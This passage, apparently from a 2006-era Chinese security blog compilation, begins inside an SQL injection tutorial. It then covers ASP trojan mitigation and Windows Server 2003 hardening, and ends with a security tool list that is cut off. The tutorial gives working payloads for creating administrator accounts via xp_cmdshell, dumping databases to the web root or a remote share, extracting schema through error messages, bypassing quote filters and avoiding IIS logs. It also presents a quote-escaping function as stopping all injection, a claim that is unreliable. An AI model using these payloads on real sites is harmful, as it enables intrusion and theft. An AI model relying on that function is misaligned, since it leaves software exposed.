      Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。
      SQL Server中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码
    ,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。
      了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范
    围大一点外,方法是没什么两样的。
    高级篇
      看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程
    序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。
      第一节、利用系统表注入SQLServer数据库
      SQL Server是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方
    便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:
    本文引用地址:http://www.cnser.net/Art/2006/0829/2136.html
      ① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
      分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServe
    r中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调
    用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:
      ② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name
    administrators /add”--
      将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用
    于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。
      ③ http://Site/url.asp?id=1 ;and db_name()>0
      前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是
    连接的数据库名。
      ④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’
    ;--
      这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web
    目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知
    道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share \1.db),但成功率不高。
      ⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’
    and status>0)>0
      前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=
    ’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息
    把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。
      ⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from
    sysobjects)>0
      从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的
    第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
      以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接
    影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵
    ,也许安全与开发本来就是相辅相成的吧。
      第二节、绕过程序限制继续注入
      在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注
    入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到
    绕过程序限制的目的。
      在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“
    利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:
      简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;
    如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。
      第三节、经验小结
      1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用sele
    cT这样尝试一下。
      2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取
    相同的名字。
      3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URL
    Encode的相关介绍。
      4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址
    尽量不用Get。
      5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即
    可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。
      防范方法
      SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入
    不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的R
    equest函数,可以对一切的SQL注入Say NO,函数如下:

    Function SafeRequest(ParaName,ParaType)
     '--- 传入参数 ---
     'ParaName:参数名称-字符型
     'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)
     Dim Paravalue
     Paravalue=Request(ParaName)
     If ParaType=1 then
      If not isNumeric(Paravalue) then
       Response.write "参数" & ParaName & "必须为数字型!"
       Response.end
      End if
     Else
      Paravalue=replace(Paravalue,"'","''")
     End if
     SafeRequest=Paravalue
    End function
    不管你是安全人员、技术爱好者还是程序员,我都希望本文能对你有所帮助。
    本文引用地址:http://www.cnser.net/Art/2006/0829/2136.html

    如何防止ASP木马在服务器上运行

    如果您的服务器SPAN>正在受ASP木马的困扰,那么希望这篇文章能帮您解决您所面临的问题。

    目前比较流行的ASP木马主要通过三种技术来进行对服务器SPAN>的相关操作。

    一、使用FileSystemObject组件

    FileSystemObject可以对文件进行常规操作

    可以通过修改注册表SPAN>,将此组件改名,来防止此类木马的危害。

    HKEY_CLASSES_ROOT\Scripting.FileSystemObject\
    改名为其它的名字,如:改为FileSystemObject_ChangeName

    自己以后调用的时候使用这个就可以正常调用此组件了

    也要将clsid值也改一下
    HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\项目的值

    也可以将其删除,来防止此类木马的危害。

    注销此组件命令:RegSrv32 /u C:\WINNT\SYSTEM\scrrun.dll

    禁止Guest用户使用scrrun.dll来防止调用此组件。
    使用命令:cacls C:\WINNT\system32\scrrun.dll /e /d guests

    二、使用WScript.Shell组件

    WScript.Shell可以调用系统内核运行DOS基本命令

    可以通过修改注册表SPAN>,将此组件改名,来防止此类木马的危害。

    HKEY_CLASSES_ROOT\WScript.Shell\

    HKEY_CLASSES_ROOT\WScript.Shell.1\
    改名为其它的名字,如:改为WScript.Shell_ChangeName或WScript.Shell.1_ChangeName

    自己以后调用的时候使用这个就可以正常调用此组件了

    也要将clsid值也改一下
    HKEY_CLASSES_ROOT\WScript.Shell\CLSID\项目的值
    HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\项目的值

    也可以将其删除,来防止此类木马的危害。

    三、使用Shell.Application组件

    Shell.Application可以调用系统内核运行DOS基本命令

    可以通过修改注册表SPAN>,将此组件改名,来防止此类木马的危害。

    HKEY_CLASSES_ROOT\Shell.Application\

    HKEY_CLASSES_ROOT\Shell.Application.1\
    改名为其它的名字,如:改为Shell.Application_ChangeName或Shell.Application.1_ChangeName

    自己以后调用的时候使用这个就可以正常调用此组件了

    也要将clsid值也改一下
    HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值
    HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值

    也可以将其删除,来防止此类木马的危害。

    禁止Guest用户使用shell32.dll来防止调用此组件。
    使用命令:cacls C:\WINNT\system32\shell32.dll /e /d guests

    注:操作均需要重新启动WEB服务后才会生效。

    四、调用Cmd.exe

    禁用Guests组用户调用cmd.exe

    cacls C:\WINNT\system32\Cmd.exe /e /d guests

    通过以上四步的设置基本可以防范目前比较流行的几种木马,但最有效的办法还是通过综合安全设置,将服务器SPAN>、程序安全都达到一定标准,才可能将安全等级设置较高,防范更多非法入侵。

    Windows Server 2003 防木马、权限设置、IIS服务器安全配置整理(完全抄袭)

    一、系统的安装  
    1、按照Windows2003安装光盘的提示安装,默认情况下2003没有把IIS6.0安装在系统里面。
    2、IIS6.0的安装
      开始菜单—>控制面板—>添加或删除程序—>添加/删除Windows组件
      应用程序 ———ASP.NET(可选)
           |——启用网络 COM+ 访问(必选)
           |——Internet 信息服务(IIS)———Internet 信息服务管理器(必选) 
                          |——公用文件(必选)
                          |——万维网服务———Active Server pages(必选)
                                  |——Internet 数据连接器(可选)
                                  |——WebDAV 发布(可选)
                                  |——万维网服务(必选)
                                  |——在服务器端的包含文件(可选)
      然后点击确定—>下一步安装。(具体见本文附件1)

    3、系统补丁的更新
      点击开始菜单—>所有程序—>Windows Update
      按照提示进行补丁的安装。

    4、备份系统
      用GHOST备份系统。

    5、安装常用的软件
      例如:杀毒软件、解压缩软件等;安装完毕后,配置杀毒软件,扫描系统漏洞,安装之后用GHOST再次备份系统。

    6、先关闭不需要的端口 开启防火墙 导入IPSEC策略
    在”网络连接”里,把不需要的协议和服务都删掉,这里只安装了基本的Internet协议(TCP/IP),由于要控制带宽流量服务,额外安装了Qos数据包计划程序。在高级tcp/ip设置里--"NetBIOS"设置"禁用tcp/IP上的NetBIOS(S)"。在高级选项里,使用"Internet连接防火墙",这是windows 2003 自带的防火墙,在2000系统里没有的功能,虽然没什么功能,但可以屏蔽端口,这样已经基本达到了一个IPSec的功能。

    修改3389远程连接端口
    修改注册表.
    开始--运行--regedit
    依次展开 HKEY_LOCAL_MACHINE/SYSTEM/CURRENTCONTROLSET/CONTROL/
    TERMINAL SERVER/WDS/RDPWD/TDS/TCP
    右边键值中 PortNumber 改为你想用的端口号.注意使用十进制(例 10000 )

    HKEY_LOCAL_MACHINE/SYSTEM/CURRENTCONTROLSET/CONTROL/TERMINAL SERVER/
    WINSTATIONS/RDP-TCP/
    右边键值中 PortNumber 改为你想用的端口号.注意使用十进制(例 10000 )
    注意:别忘了在WINDOWS2003自带的防火墙给+上10000端口
    修改完毕.重新启动服务器.设置生效.

    二、用户安全设置
    1、禁用Guest账号
    在计算机管理的用户里面把Guest账号禁用。为了保险起见,最好给Guest加一个复杂的密码。你可以打开记事本,在里面输入一串包含特殊字符、数字、字母的长字符串,然后把它作为Guest用户的密码拷进去。
    2、限制不必要的用户
    去掉所有的Duplicate User用户、测试用户、共享用户等等。用户组策略设置相应权限,并且经常检查系统的用户,删除已经不再使用的用户。这些用户很多时候都是黑客们入侵系统的突破口。
    3、把系统Administrator账号改名
    大家都知道,Windows 2003 的Administrator用户是不能被停用的,这意味着别人可以一遍又一遍地尝试这个用户的密码。尽量把它伪装成普通用户,比如改成Guesycludx。
    4、创建一个陷阱用户
    什么是陷阱用户?即创建一个名为“Administrator”的本地用户,把它的权限设置成最低,什么事也干不了的那种,并且加上一个超过10位的超级复杂密码。这样可以让那些 Hacker们忙上一段时间,借此发现它们的入侵企图。
    5、把共享文件的权限从Everyone组改成授权用户
    任何时候都不要把共享文件的用户设置成“Everyone”组,包括打印共享,默认的属性就是“Everyone”组的,一定不要忘了改。
    6、开启用户策略
    使用用户策略,分别设置复位用户锁定计数器时间为20分钟,用户锁定时间为20分钟,用户锁定阈值为3次。 (该项为可选)
    7、不让系统显示上次登录的用户名
    默认情况下,登录对话框中会显示上次登录的用户名。这使得别人可以很容易地得到系统的一些用户名,进而做密码猜测。修改注册表可以不让对话框里显示上次登录的用户名。方法为:打开注册表编辑器并找到注册表“HKLM\Software\Microsoft\Windows T\CurrentVersion\Winlogon\Dont-DisplayLastUserName”,把REG_SZ的键值改成1。
    密码安全设置
    1、使用安全密码
    一些公司的管理员创建账号的时候往往用公司名、计算机名做用户名,然后又把这些用户的密码设置得太简单,比如“welcome”等等。因此,要注意密码的复杂性,还要记住经常改密码。
    2、设置屏幕保护密码
    这是一个很简单也很有必要的操作。设置屏幕保护密码也是防止内部人员破坏服务器的一个屏障。
    3、开启密码策略
    注意应用密码策略,如启用密码复杂性要求,设置密码长度最小值为6位 ,设置强制密码历史为5次,时间为42天。
    4、考虑使用智能卡来代替密码
    对于密码,总是使安全管理员进退两难,密码设置简单容易受到黑客的攻击,密码设置复杂又容易忘记。如果条件允许,用智能卡来代替复杂的密码是一个很好的解决方法。

    windows installer出错信息解决

    症状如下:
    所有使用installer安装的程序,均不能正常安装,提示:“不能访问windows installer 服务。可能你在安全模式下运行 windows ,或者windows installer 没有正确的安装。请和你的支持人员联系以获得帮助”
    查看windows installer服务,一般为停用或没有。如果试图在service中启用,有时会发现,被系统禁用,再启动,提示:“指定的服务已标记为删除”。
    解决方法:
    一、先用msiexec /unregserver 停掉windows installer服务。

    二、下载InstMsiW.exe,用winrar解压开。进入目录。

    三、右击msi.inf ,点击安装,右击mspatcha.inf ,点击安装。

    四、再用msiexec.exe /regserver 启用服务。



     
    August 28

    最佳的七十五个网络分析和安全工具(抄来的)

    在2000年的5、6月间,nmap-hackers邮件列表中发起了最佳安全工具的评选活动,活动取得了成功,最终由1200名Nmap用户评选出了50个最佳安全工具,评选结果发布在insecure.org网站,得到了网友们的普遍认可。时隔三年,nmap-hackers邮件列表中又发起了同样的评选活动,1854个用户参与了此次活动,每个用户最多可以选择8个最佳工具,并且这次评选出的最佳安全工具由50个增加到了75个。
     
    因为是在nmap-hackers邮件列表中做出的评选,因此没有把nmap安全扫描器(http://www.insecure.org/nmap/)评选在内。这次评选出来的75个最佳安全工具在网络安全领域都是一些很有代表性的软件,对于那些在网络安全方面不知从何处开始的新手们来说,这对他们有相当的参考价值。


    工具:Nessus(最好的开放源代码风险评估工具)
    网址:http://www.nessus.org/
    类别:开放源码
    平台:Linux/BSD/Unix
    简介:Nessus是一款可以运行在Linux、BSD、Solaris以及其他一些系统上的远程安全扫描软件。它是多线程、基于插入式的软件,拥有很好的GTK界面,能够完成超过1200项的远程安全检查,具有强大的报告输出能力,可以产生HTML、XML、LaTeX和ASCII文本等格式的安全报告,并且会为每一个发现的安全问题提出解决建议。

    工具:Ethereal(网络协议检测工具)
    网址:http://www.ethereal.com/
    类别:开放源码
    平台:Linux/BSD/Unix/Windows
    简介:Ethereal是一款免费的网络协议分析程序,支持Unix、Windows。借助这个程序,你既可以直接从网络上抓取数据进行分析,也可以对由其他嗅探器抓取后保存在硬盘上的数据进行分析。你能交互式地浏览抓取到的数据包,查看每一个数据包的摘要和详细信息。Ethereal有多种强大的特征,如支持几乎所有的协议、丰富的过滤语言、易于查看TCP会话经重构后的数据流等。

    工具:Snort(免费的入侵检测系统)
    网址:http://www.snort.org/
    类别:开放源码
    平台:Linux/BSD/Unix/Windows
    简介:Snort是一款轻量级的网络入侵检测系统,能够在IP网络上进行实时的流量分析和数据包记录。它不仅能进行协议分析、内容检索、内容匹配,而且能用于侦测诸如缓冲溢出、隐秘端口扫描、CGI攻击、SMB探测、操作系统指纹识别等大量的攻击或非法探测。Snort使用灵活的规则去描述哪些流量应该被收集或被忽略,并且提供一个模块化的探测引擎。

    工具:Netcat(网络瑞士军刀)
    网址:http://www.atstake.com/research/tools/network_utilities/
    类别:开放源码
    平台:Linux/BSD/Unix/Windows
    简介:一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接,还有几个很有意思的内置功能。

    工具:TCPDump/WinDump(用于网络监测和数据收集的优秀嗅探器)
    网址:http://www.tcpdump.org/http://windump.polito.it/
    类别:开放源码
    平台:Linux/BSD/Unix/Windows
    简介:Tcpdump是一款众人皆知和受人喜欢的基于命令行的网络数据包分析和嗅探工具。它能把匹配规则的数据包的包头给显示出来。你能使用这个工具去查找网络问题或者去监视网络上的状况。WinDump是Tcpdump在Windows平台上的移植版。

    工具:Hping2(类似ping的网络探测工具)
    网址:http://www.hping.org/
    类别:开放源码
    平台:Linux/BSD/Unix
    简介:hping2能发送自定义的ICMP/UDP/TCP包到目标地址并且显示包的响应情况。它有一个方便的traceroute模式,并且支持IP分片。这个工具在traceroute、ping和探测防火墙后的主机时特别有用。

    工具:DSniff(一流的网络审计和渗透测试工具)
    网址:http://naughty.monkey.org/~dugsong/dsniff/
    类别:开放源码
    平台:Linux/BSD/Unix/Windows
    简介:DSniff是由Dug Song开发的一套包含多个工具的软件套件。其中,dsniff、filesnarf、mailsnarf、msgsnarf、rlsnarf和webspy可以用于监视网络上我们感兴趣的数据(如口令、e-mail、文件等),arpspoof、dnsspoof和macof能很容易地载取到攻击者通常难以获取的网络信息(如二层交换数据),sshmitm和webmitm则能用于实现重写SSH和HTTPS会话达到monkey-in-the-middle攻击。在http://www.datanerds.net/~mike/dsniff.html可以找到Windows平台上的移植版。

    工具:GFI LANguard(商业化的网络安全扫描软件)
    网址:http://www.gfi.com/lannetscan/
    类别:商业
    平台:Windows
    简介:LANguard扫描网络并且得出诸如每台机器的服务包等级、缺少的安全补丁、打开的共享、开放的端口、正在运行的服务和应用程序、注册表键值、弱口令、用户和组等扫描信息的报告。扫描结果输出为一个HTML格式的报告,报告能够自定义。

    工具:Ettercap(为你的交换环境提供更多的安全)
    网址:http://ettercap.sourceforge.net/
    类别:开放源码
    平台:Linux/BSD/Unix/Windows
    简介:Ettercap是一款以太网环境下的网络监视、拦载和记录工具,支持多种主动或被动的协议分析(甚至跟加密相关的SSH、HTTPS等),有数据插入、过滤、保持连接同步等多种功能,也有一个能支持多种嗅探模式的、强大而完整的嗅探套件,支持插件,能够检查网络环境是否是交换局域网,并且能使用主动或被动的操作系统指纹识别技术让你了解当前局域网的情况。

    工具:Whisker/Libwhisker(CGI缺陷扫描软件和库)
    网址:http://www.wiretrip.net/rfp/p/doc.asp/d21.htm
    类别:开放源码
    平台:Linux/BSD/Unix/Windows
    简介:Whisker是一款非常好的HTTP服务器缺陷扫描软件,能扫描出大量的已知安全漏洞,特别是些危险的CGI漏洞。Libwhisker是一个用perl编写的由Whiskerr使用的程序库,通过它你可以创建自己HTTP扫描器。

    工具:John the Ripper(格外强大、灵活、快速的多平台哈希口令破解器)
    网址:http://www.openwall.com/john/
    类别:开放源码
    平台:Linux/BSD/Unix/Windows
    简介:John the Ripper是一个快速的口令破解器,支持多种操作系统,如Unix、DOS、Win32、BeOS和OpenVMS等。它设计的主要目的是用于检查Unix系统的弱口令,支持几乎所有Unix平台上经crypt函数加密后的口令哈希类型,也支持Kerberos AFS和Windows NT/2000/XP LM哈希等。

    工具:OpenSSH/SSH(访问远程计算机的一种安全方法)
    网址:http://www.openssh.com/http://www.ssh.com/commerce/index.html
    类别:开放源码/商业
    平台:Linux/BSD/Unix/Windows
    简介:SSH(Secure Shell)是一款用来登录远程服务器并在远程服务器上执行命令的程序,在缺少安全防护的网络上它能给两台互不信任的主机间提供安全可靠的加密通讯。X11连接和其他任意的TCP/IP端口连接都可以通过SSH进行数据封装转发到一个安全的通道里。SSH开发的本意是用于代替rlogin、rsh和rcp这些不安全的程序,以及为rdist和rsync提供安全通道。需要注意的是,OpenSSH是SSH的替代软件,SSH对于某些用途是要收费的,但OpenSSH总是免费。

    工具:Sam Spade(Windows平台上的免费网络查询工具)
    网址:http://www.samspade.org/ssw/
    类别:免费软件
    平台:Windows
    简介:SamSpade提供了一个友好的GUI界面,能方便地完成多种网络查询任务,它开发的本意是用于追查垃圾邮件制造者,但也能用于其它大量的网络探测、网络管理和与安全有关的任务,包括ping、nslookup、whois、dig、traceroute、finger、raw HTTP web browser、DNS zone transfer、SMTP relay check、website search等工具,在它的网站还有大多数查询工具的一个在线版本(http://www.samspade.org/t/)。

    工具:ISS Internet Scanner(应用层风险评估工具)
    网址:http://www.iss.net/products_services/enterprise_protection
    /vulnerability_assessment/scanner_internet.php
    类别:商业
    平台:Windows
    简介:互联网扫描器(Internet Scanner)始于1992年一个小小的开放源代码扫描器,它是相当不错的,但价格昂贵,使用开源软件Nessus来代替它也是一个不错的选择。

    工具:Tripwire(功能强大的数据完整性检查工具)
    网址:http://www.tripwire.com/
    类别:商业
    平台:Linux/BSD/Unix/Windows
    简介:Tripwire是一款文件和目录完整性检查工具,它能帮助系统管理员和用户监视一些重要文件和目录发生的任何变化。通过制定一些基本的系统策略,在文件遭到破坏或篡改时由Tripwire通知系统管理员,从而能及时地做出处理。Tripwire的商业版本非常昂贵,在Tripwire.Org网站有一个免费的开放源代码的Linux版本,UNIX用户也可能需要考虑AIDE(http://www.cs.tut.fi/~rammer/aide.html),它是Tripwire的免费替代品。

    工具:Nikto(一款非常全面的web扫描器)
    网址:http://www.cirt.net/code/nikto.shtml
    类别:开放源码
    平台:Linux/BSD/Unix/Windows
    简介:Nikto是一款能对web服务器多种安全项目进行测试的扫描软件,能在200多种服务器上扫描出2000多种有潜在危险的文件、CGI及其他问题。它也使用LibWhiske库,但通常比Whisker更新的更为频繁。

    工具:Kismet(强大的无线嗅探器)
    网址:http://www.kismetwireless.net/
    类别:开放源码
    平台:Linux/BSD/Unix/Windows
    简介:Kismet是一款802.11b网络嗅探和分析程序,功能有:支持大多数无线网卡,能通过UDP、ARP、DHCP数据包自动实现网络IP阻塞检测,能通过Cisco Discovery协议列出Cisco设备,弱加密数据包记录,和Ethereal、tcpdump兼容的数据包dump文件,绘制探测到的网络图和估计网络范围。

    工具:SuperScan(Windows平台上的TCP端口扫描器)
    网址:http://www.foundstone.com/index.htm?subnav=resources/
    navigation.htm&subcontent=/resources/proddesc/superscan.htm
    类别:免费
    平台:Windows
    简介:SuperScan是一款具有TCP connect端口扫描、Ping和域名解析等功能的工具,能较容易地做到对指定范围内的IP地址进行ping和端口扫描。源代码不公开。

    工具:L0phtCrack 4(Windows口令审计和恢复程序)
    网址:http://www.atstake.com/research/lc/
    类别:商业
    平台:Linux/BSD/Unix/Windows
    简介:L0phtCrack试图根据从独立的Windows NT/2000工作站、网络服务器、主域控制器或Active Directory上正当获取或者从线路上嗅探到的加密哈希值里破解出Windows口令,含有词典攻击、组合攻击、强行攻击等多种口令猜解方法。

    工具:Retina(eEye公司的风险评估扫描工具)
    网址:http://www.eeye.com/html/Products/Retina/index.html
    类别:商业
    平台:Windows
    简介:像上面提到的Nessus和ISS Internet Scanner一样,Retina的功能也是用于扫描网络内所有的主机并且报告发现的每一个缺陷。

    工具:Netfilter(当前Linux内核采用的包过滤防火墙)
    网址:http://www.netfilter.org/
    类别:开放源码
    平台:Linux
    简介:Netfilter是一款功能强大的包过滤防火墙,在标准的Linux内核内得到实现,iptables是防火墙配置工具。它现在支持有状态或无状态检测的包过滤,支持所有种类的NAT和包分片。相应的,对于非Linux平台上的防火墙,OpenBSD平台上有pf,UNIX平台上有ipfilter,Windows平台上有Zone Alarm个人防火墙。

    工具:traceroute/ping/telnet/whois(基本命令)
    网址:
    类别:免费
    平台:Linux/BSD/Unix/Windows
    简介:当我们使用大量的高水平的工具来辅助安全审计工作时,别忘了这几个最基本的工具。我们每个人都应非常熟悉这几个工具的用法,几乎所有的操作系统上都附带有这几个工具,不过Windows平台上没有whois工具,并且traceroute改名为tracert。

    工具:Fport(增强的netstat)
    网址:http://www.foundstone.com/index.htm?subnav=resources/
    navigation.htm&subcontent=/resources/proddesc/fport.htm
    类别:免费
    平台:Windows
    简介:Fport能显示主机上当前所有打开的TCP/IP、UDP端口和端口所属的进程,因此通过使用它能即刻发现未知的开放端口和该端口所属的应用程序,是一款查找木马的好工具。不过,Fport仅支持Windows系统,在许多UNIX系统上有一个netstat命令实现类似功能,Linux系统上用"netstat -pan"命令。源代码不公开。

    工具:SAINT(安全管理员的综合网络工具)
    网址:http://www.saintcorporation.com/saint/
    类别:商业
    平台:Linux/BSD/Unix
    简介:Saint是一款商业化的风险评估工具,但与那些仅支持Windows平台的工具不同,SAINT运行在UNIX类平台上,过去它是免费并且开放源代码的,但现在是一个商业化的产品。

    工具:Network Stumbler(免费的Windows平台802.11嗅探器)
    网址:http://www.stumbler.net/
    类别:免费
    平台:Windows
    简介:Netstumbler是最有名的寻找无线接入点的工具,另一个支持PDA的WinCE平台版本叫Ministumbler。这个工具现在是免费的,仅仅支持Windows系统,并且源代码不公开,而且该软件的开发者还保留在适当的情况下对授权协议的修改权。UNIX系统上的用户可以使用Kismet来代替。

    工具:SARA(安全管理员的辅助工具)
    网址:http://www-arc.com/sara/
    类别:开放源码
    平台:Linux/BSD/Unix
    简介:SARA是一款基于SATAN安全扫描工具开发而来的风险评估工具,每月更新两次。

    工具:N-Stealth(web服务器扫描工具)
    网址:http://www.nstalker.com/nstealth/
    类别:商业
    平台:Windows
    简介:N-Stealth是一款商业化的Web服务器安全扫描软件,通常它比whisker、nikto等免费的web扫描器升级的更为频繁。N-Stealth开发商宣称的"超过20,000条的缺陷和exploit数据"和"每天新增大量的缺陷检查"是非常可疑的。我们也要注意到,在nessus、ISS、Retina、SAINT和SARA等所有常见的风险评估工具里已含有web扫描组件,不过它们可能没有N-Stealth这样灵活易用和更新频繁。n-stealth不公开源代码。

    工具:AirSnort(802.11 WEP密码破解工具)
    网址:http://airsnort.shmoo.com/
    类别:开放源码
    平台:Linux/BSD/Unix/Windows
    简介:AirSnort是一款无线局域网密钥恢复工具,由Shmoo小组开发。它监视无线网络中的传输数据,当收集到足够多的数据包时就能计算出密钥。

    工具:NBTScan(从Windows网络上收集NetBIOS信息)
    网址:http://www.inetcat.org/software/nbtscan.html
    类别:开放源码
    平台:Linux/BSD/Unix/Windows
    简介:NBTscan是一个用于扫描网络上NetBIOS名字信息的程序。这个程序对给出范围内的每一个地址发送NetBIOS状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,它列出它的IP地址、NetBIOS计算机名、登录用户名和MAC地址。

    工具:GnuPG/PGP(保护你的文件和通信数据的先进加密程序)
    网址:http://www.gnupg.org/http://www.pgp.com/
    类别:开放源码/商业
    平台:Linux/BSD/Unix/Windows
    简介:PGP是由Phil Zimmerman开发的著名加密程序,它使用公钥加密算法和常规的加密技术相结合,能将加密后的文件安全地从一地传递到另一地,从而保护用户的数据免于窃听或其他的安全风险。GnuPG是遵照PGP标准开发的开源程序,不同的是,GnuPG是永远免费的,而PGP对于某些用途要收费。

    工具:Firewalk(高级的traceroute)
    网址:http://www.packetfactory.net/projects/firewalk/
    类别:开放源码
    平台:Linux/BSD/Unix
    简介:Firewalk使用类似traceroute的技术来分析IP包的响应,从而测定网关的访问控制列表和绘制网络图。2002年10月,这个一流的工具在原来的基础上进行了重新开发。需要注意到的是,Firewalk里面的大多数功能也能由Hping2的traceroute选项来实现。

    工具:Cain & Abel(穷人的L0phtcrack)
    网址:http://www.oxid.it/cain.html
    类别:免费
    平台:Windows
    简介:Cain & Abel是一个针对Microsoft操作系统的免费口令恢复工具。它通过如下多种方式轻松地实现口令恢复:网络嗅探、破解加密口令(使用字典或强行攻击)、解码被打乱的口令、显示口令框、显示缓存口令和分析路由协议等。源代码不公开。

    工具:XProbe2(主动操作系统指纹识别工具)
    网址:http://www.sys-security.com/html/projects/X.html
    类别:开放源码
    平台:Linux/BSD/Unix
    简介:XProbe是一款测定远程主机操作系统类型的工具。它依靠与一个签名数据库的模糊匹配以及合理的推测来确定远程操作系统的类型,利用ICMP协议进行操作系统指纹识别是它的独到之处。

    工具:SolarWinds Toolsets(大量的网络发现、监视、攻击工具)
    网址:http://www.solarwinds.net/
    类别:商业
    平台:Windows
    简介:SolarWinds包含大量适合系统管理员做特殊用途的工具,与安全相关的工具包括许多的网络发现扫描器(network discovery scanner)和一个SNMP强力破解器。

    工具:NGrep(方便的包匹配和显示工具)
    网址:http://www.packetfactory.net/projects/ngrep/
    类别:开放源码
    平台:Linux/BSD/Unix/Windows
    简介:NGrep在网络层实现了GNU grep的大多数功能,基于pcap,可以使你通过指定扩展的正则表达式或十六进制表达式去匹配网络上的数据流量。它当前能够识别流经以太网、PPP、SLIP、FDDI、令牌网和回环设备上的TCP、UDP和ICMP数据包,并且和其他常见的嗅探工具(如tcpdump和snoop)一样,理解bpf过滤机制。

    工具:Perl/Python(脚本语言)
    网址:http://www.perl.orghttp://www.python.org/
    类别:开放源码
    平台:Linux/BSD/Unix/Windows
    简介:当我们使用那些已经开发好的安全工具来处理任务时,别忘了能自己写出(或修改)安全程序也是一件非常重要的事情。利用Perl和Python能非常容易地写出用于系统测试、exploit和修补的脚本程序,使用包含Net::RawIP和协议实现等模块的CPAN(Comprehensive Perl Archive Network:http://www.cpan.org/)或类似的档案能帮助我们比较容易地进行相关的开发。

    工具:THC-Amap(应用程序指纹识别扫描器)
    网址:http://www.thc.org/releases.php
    类别:开放源码
    平台:Linux/BSD/Unix
    简介:由THC开发的Amap是一个功能强大的扫描器,它通过探测端口响应的应用程序指纹数据来识别应用程序和服务,远甚于通过缺省端口号来判断应用程序和服务的方法。

    工具:OpenSSL(最为重要的SSL/TLS加密库)
    网址:http://www.openssl.org/
    类别:开放源码
    平台:Linux/BSD/Unix/Windows
    简介:OpenSSL项目是共同努力开发出来的一个健全的、商业级的、全开放的和开放源代码的工具包,用于实现安全套接层协议(SSL v2/v3)和传输层安全协议(TLS v1)以及形成一个功效完整的通用加密库。该项目由全世界范围内志愿者组成的团体一起管理,他们使用Internet去交流、设计和开发这个OpenSSL工具和相关的文档。

    工具:NTop(网络使用状况监测软件)
    网址:http://www.ntop.org/
    类别:开放源码
    平台:Linux/BSD/Unix/Windows
    简介:Ntop是一款显示网络使用状况的流量监测软件,类似于UNIX平台上监视系统进程的top命令。在交互模式下,ntop会将网络的使用状况显示在用户的终端上;在Web模式下,ntop会做为一个web服务器,创建包含网络状况的HTML网页返回给用户。

    工具:Nemesis(命令行式的UNIX网络信息包插入套件)
    网址:http://www.packetfactory.net/projects/nemesis/
    类别:开放源码
    平台:Linux/BSD/Unix
